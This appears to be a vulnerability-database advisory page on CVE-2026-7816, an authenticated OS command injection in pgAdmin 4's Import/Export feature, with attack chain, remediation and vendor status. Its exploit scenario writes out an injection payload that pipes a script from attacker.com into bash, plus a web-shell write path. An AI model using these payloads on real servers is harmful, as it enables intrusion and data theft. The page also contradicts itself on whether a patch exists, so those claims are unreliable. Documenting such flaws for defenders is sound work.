Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain pgAdmin credentials
-
DeliveryAuthenticate to web interface
-
ExploitNavigate to Import/Export query export
-
ExecutionInject TO PROGRAM payload in query field
-
PersistTrigger psql metacommand execution
-
ImpactExecute arbitrary OS commands as pgAdmin process user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Persistence The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires authenticated access to pgAdmin 4 with valid user credentials (CVSS PR:L). Specifically, the attacker must have permissions to access the Import/Export query export feature within the pgAdmin web interface, which is typically available to any authenticated pgAdmin user regardless of underlying PostgreSQL database privileges. Exploitation does not require admin-level pgAdmin access, database superuser rights, or elevated OS permissions - standard low-privilege database user accounts suffice. No user interaction required (CVSS UI:N) and attack complexity is low (CVSS AC:L), meaning exploitation succeeds reliably once authenticated access is obtained. Network accessibility (CVSS AV:N) means any remote user who can reach the pgAdmin web interface over HTTP/HTTPS can exploit this after authentication. No special pgAdmin configuration, non-default settings, or specific PostgreSQL version required - affects default pgAdmin 4 installations before version 9.15 across all deployment modes. Limiting factor: authentication barrier prevents unauthenticated remote exploitation, but this is a low bar given credential compromise vectors (phishing, default credentials, session hijacking) and insider threat scenarios. |
| Impact | Real-world risk is HIGH for organizations running vulnerable pgAdmin 4 instances accessible to authenticated users. CVSS 8.8 (High) accurately reflects the severity: network-accessible (AV:N), low attack complexity (AC:L), requires only low-privilege authentication (PR:L), no user interaction (UI:N), and enables full system compromise (C:H/I:H/A:H). The authentication barrier (PR:L) limits attack surface compared to unauthenticated RCE but is a low bar in practice - any pgAdmin user with Import/Export privileges can exploit this, including read-only database users or contractors with limited DB access. The vulnerability grants OS-level command execution, elevating impact far beyond database-layer access. EPSS score not provided in input data, limiting quantitative exploitation probability assessment. No CISA KEV listing at time of analysis suggests no confirmed widespread or targeted exploitation yet. No public POC referenced in provided data, but the technical description is sufficiently detailed that exploit development is trivial for attackers with pgAdmin access. The primary risk mitigation is the authentication requirement - external attackers must first obtain valid pgAdmin credentials. However, insider threat risk is CRITICAL, and credential compromise (phishing, credential stuffing, session hijacking) eliminates this barrier. Organizations exposing pgAdmin 4 to the internet or untrusted networks face elevated risk. Patch availability (version 9.15) and clear vendor disclosure via GitHub issue #9899 enable straightforward remediation, making continued exposure to this vulnerability primarily a patching discipline issue rather than a lack of fixes. |
| Exploit ScenarioDerived | An attacker with valid low-privilege pgAdmin credentials (e.g., a contractor account, compromised read-only database user, or insider) logs into the pgAdmin web interface and navigates to the Import/Export query export feature. They craft a malicious query parameter containing the payload: normal_query") TO PROGRAM 'curl http://attacker.com/shell.sh | bash' -- to inject a command execution directive into the psql \copy metacommand template. Upon submission, the unsanitized input breaks out of the parenthetical context, causing pgAdmin to execute the injected shell command on the underlying server host with pgAdmin process privileges. The attacker achieves remote code execution, establishes persistence via cron/systemd, exfiltrates PostgreSQL credentials from pgAdmin configuration files, and pivots to connected database servers. Alternatively, the attacker uses ") TO '/var/www/html/shell.php' to write a web shell for persistent access. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 11, 2026
Authenticated remote code execution in pgAdmin 4 versions before 9.15 allows low-privilege users to execute arbitrary OS commands on the pgAdmin server via unsanitized input in the Import/Export query export feature. Attackers inject malicious payloads into psql \copy metacommand templates to break out of the query context and invoke PROGRAM directives or write arbitrary files. No public exploit code identified at time of analysis, but exploitation requires only low-privilege authenticated access with no user interaction (CVSS AV:N/AC:L/PR:L/UI:N). EPSS data not provided; KEV status not confirmed.
RemediationAI
Upgrade to pgAdmin 4 version 9.15 or later immediately, which implements comprehensive input validation including parens-balance parsing, field allow-listing, null-byte rejection, and enhanced type/authorization checks per the fix description. Download the patched release from pgadmin.org official channels and follow standard pgAdmin upgrade procedures for your deployment method (standalone, Docker, or package manager). If immediate patching is infeasible, implement the following compensating controls with noted limitations: (1) Restrict pgAdmin access to trusted users only via application-layer authentication/authorization and network segmentation (firewall rules limiting access to admin jump hosts or VPN-only), understanding this reduces but does not eliminate insider threat risk. (2) Disable or restrict the Import/Export feature entirely via pgAdmin configuration or role-based permissions if your operational workflow permits, noting this breaks legitimate data export functionality. (3) Deploy pgAdmin in an isolated container or VM with minimal privileges and no network/filesystem access to sensitive resources, using AppArmor/SELinux policies to restrict child process execution, though this adds operational complexity and may still allow container escape or data exfiltration. (4) Monitor pgAdmin server logs and system process execution (auditd, Sysmon) for unexpected psql child processes or anomalous TO PROGRAM/TO FILE patterns, accepting that skilled attackers may evade logging. All compensating controls are inferior to patching and should be considered temporary risk reduction only. Vendor advisory and patch details: https://github.com/pgadmin-org/pgadmin4/issues/9899.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
pgAdmin 4 is a web-based administration and development platform for PostgreSQL databases. The vulnerability exists in the Import/Export query export functionality where user-supplied input fields (query text, format, on_error, log_verbosity) are interpolated directly into psql \copy metacommand templates without sanitization or validation. The psql \copy metacommand supports TO PROGRAM clauses that execute arbitrary OS commands and TO FILE clauses for file writes. By injecting payloads like ") TO PROGRAM 'malicious_cmd'" or ") TO '/arbitrary/path'", authenticated users can escape the intended \copy (...) parenthetical context and achieve command execution on the pgAdmin server host or write files to server-writable paths. This is a classic OS command injection (CWE-78) where application-layer input validation failures enable shell metacharacter injection. The affected CPE cpe:2.3:a:pgadmin.org:pgadmin_4:*:*:*:*:*:*:*:* confirms all versions prior to 9.15 are vulnerable. The fix implements a parens-balance parser modeled on PostgreSQL's strtokx tokenizer to safely parse \copy syntax, applies allow-lists to format/on_error/log_verbosity fields, rejects null bytes in query strings, and adds stricter type checking and authorization gates.
Know when Pgadmin 4 gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (PostgreSQL).
CVSS VectorVendor: PostgreSQL
Lifecycle Timeline
3DescriptionCVE.org
OS command injection (CWE-78) vulnerability in pgAdmin 4 Import/Export query export.
User-supplied input was interpolated directly into a psql \copy metacommand template without sanitization. An authenticated user could inject ") TO PROGRAM 'cmd'" to break out of the \copy (...) context and achieve arbitrary command execution on the pgAdmin server, or ") TO '/path'" for arbitrary file write. Additional fields (format, on_error, log_verbosity) were also raw-interpolated and exploitable.
Fix adds a parens-balance parser modeled on psql's strtokx tokenizer, allow-lists format/on_error/log_verbosity, rejects null bytes in the query, and tightens type and gating checks.
This issue affects pgAdmin 4: before 9.15.
Executive ViewAI
pgAdmin 4 versions before 9.15 contain a remote code execution vulnerability that allows authenticated users with low-privilege access to execute arbitrary operating system commands on the pgAdmin server through the Import/Export feature. Organizations running affected pgAdmin instances face direct risk of server compromise and lateral movement into connected database infrastructure, requiring immediate assessment and mitigation.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict pgAdmin network access to administrative VPN/bastion host only; (2) Disable the Import/Export query feature in pgAdmin configuration settings; (3) Implement database activity monitoring to detect unusual PROGRAM directives or file writes; (4) Remove or revoke low-privilege user accounts in pgAdmin where feasible; (5) Monitor for CVE-2026-7816 patch release from pgAdmin project and prepare staged upgrade plan.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
pgAdmin <= 8.3 is affected by a path-traversal vulnerability while deserializing users’ sessions in the session handling
pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) vulnerability through the validate binary path API. Rated cr
Remote unauthenticated access to two SQL Editor endpoints in pgAdmin 4 server-mode deployments (versions 6.9 through 9.1
The pgAdmin server includes an HTTP API that is intended to be used to validate the path a user selects to external Post
pgAdmin versions 8.11 and earlier are vulnerable to a security flaw in OAuth2 authentication. Rated medium severity (CVS
Remote code execution in pgAdmin 4 (versions up to and including 9.9) lets an attacker who can get a crafted PLAIN-forma
Remote SQL injection via prompt injection in pgAdmin 4 versions 9.13 through 9.15 allows attackers who can write content
SQL injection sandbox escape in pgAdmin 4's AI Assistant (versions 9.13 through 9.16) lets an attacker break out of the
OS command injection in pgAdmin 4 (all versions before 9.18) lets an authenticated user with the commonly-granted tools_
Authorization bypass and privilege escalation in pgAdmin 4 server mode allows authenticated users to access other users'
pgAdmin <= 8.5 is affected by XSS vulnerability in /settings/store API response json payload. Rated medium severity (CVS
Same weakness CWE-89 – SQL Injection
View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| SUSE Linux Enterprise Desktop 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Python 3 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Module for Python 3 15 SP6 | Fixed |
| SUSE Linux Enterprise Module for Server Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Module for Server Applications 15 SP5 | Fixed |
| SUSE Linux Enterprise Server 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP5 | Fixed |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP6 | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Manager Proxy 4.3 | Fixed |
| SUSE Manager Proxy LTS 4.3 | Fixed |
| SUSE Manager Retail Branch Server 4.3 | Fixed |
| SUSE Manager Retail Branch Server LTS 4.3 | Fixed |
| SUSE Manager Server 4.3 | Fixed |
| SUSE Manager Server LTS 4.3 | Fixed |
| SUSE CaaS Platform 4.0 | Fixed |
| SUSE Enterprise Storage 6 | Fixed |
| SUSE Enterprise Storage 7 | Fixed |
| SUSE Enterprise Storage 7.1 | Fixed |
| SUSE Linux Enterprise Desktop 15 SP6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP1 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP1-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP1-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Fixed |
| SUSE Linux Enterprise Module for Server Applications 15 SP1 | Fixed |
| SUSE Linux Enterprise Module for Server Applications 15 SP2 | Fixed |
| SUSE Linux Enterprise Module for Server Applications 15 SP3 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP2 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP3 | Fixed |
| SUSE Linux Enterprise Real Time 15 SP4 | Fixed |
| SUSE Linux Enterprise Server 15 SP1 | Fixed |
| SUSE Linux Enterprise Server 15 SP1-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP1-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP2 | Fixed |
| SUSE Linux Enterprise Server 15 SP2-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP3 | Fixed |
| SUSE Linux Enterprise Server 15 SP3-BCL | Fixed |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP1 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Fixed |
| SUSE Manager Proxy 4.0 | Fixed |
| SUSE Manager Proxy 4.1 | Fixed |
| SUSE Manager Proxy 4.2 | Fixed |
| SUSE Manager Retail Branch Server 4.0 | Fixed |
| SUSE Manager Retail Branch Server 4.1 | Fixed |
| SUSE Manager Retail Branch Server 4.2 | Fixed |
| SUSE Manager Server 4.0 | Fixed |
| SUSE Manager Server 4.1 | Fixed |
| SUSE Manager Server 4.2 | Fixed |
| openSUSE Leap 15.3 | Fixed |
| openSUSE Leap 15.4 | Fixed |
| openSUSE Leap 15.5 | Fixed |
EUVD-2026-29084
GHSA-j74f-g7vx-fh4x
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB